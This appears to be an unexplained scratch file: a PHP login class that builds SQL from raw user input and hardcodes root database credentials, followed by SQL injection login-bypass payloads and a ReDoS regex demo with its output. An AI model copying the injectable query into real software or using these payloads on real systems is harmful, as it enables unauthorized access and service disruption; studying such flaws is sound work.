CREATE DATABASE  `BaseDeDatos` DEFAULT CHARACTER SET latin1 COLLATE latin1_spanish_ci;

<?php
class auth{
	// CHANGE THESE VALUES TO REFLECT YOUR SERVER'S SETTINGS
	var $HOST = "127.0.0.1";	// Change this to the proper DB HOST
	var $USERNAME = "root";	// Change this to the proper DB USERNAME
	var $PASSWORD = "ramirez";	// Change this to the proper DB USER PASSWORD
	var $DBNAME = "vauth";	// Change this to the proper DB NAME
 
	// AUTHENTICATE
	function authenticate($username, $password) {
		$query = "SELECT * FROM authuser WHERE uname='$username' AND passwd=MD5('$password') AND status <> 'inactive'";
 
        $UpdateRecords = "UPDATE authuser SET lastlogin = NOW(), logincount = logincount + 1 WHERE uname='$username'";
		$connection = mysql_connect($this->HOST, $this->USERNAME, $this->PASSWORD);
 
		$SelectedDB = mysql_select_db($this->DBNAME);
		$result = mysql_query($query); 
 
		$numrows = mysql_num_rows($result);
		$row = mysql_fetch_array($result);
 
		// CHECK IF THERE ARE RESULTS
		// Logic: If the number of rows of the resulting recordset is 0, that means that no
		// match was found. Meaning, wrong username-password combination.
		if ($numrows == 0) {
			return 0;
		}
 
        elseif ($row["level"]==1) {  // ADMIN LOGIN
			$Update = mysql_query($UpdateRecords);
			return 1;
		}
 
		else {
			$Update = mysql_query($UpdateRecords);
			return $row;
		}
	} // End: function authenticate

') or ('1'='1

user:' OR  '1' =  '1
pass:') or ('1'='1

var a = '11111111111111111111111111111111111a';
if(/^(\d+)+$/.test(a)){alert(1);}
 

<?php
 
$a = str_repeat(1,16);
$a .= 'a';
 
echo "La longitud es de ".strlen($a). "<br>";
if(preg_match("/^(\d+)+$/",$a));
echo "La longitud es de ".strlen($a). "<br>";
 
if (preg_last_error() == PREG_BACKTRACK_LIMIT_ERROR) {
    echo 'Se ah exedido el limite<br>';
}
?>
 

La longitud es de 17
La longitud es de 17
Se ah exedido el limite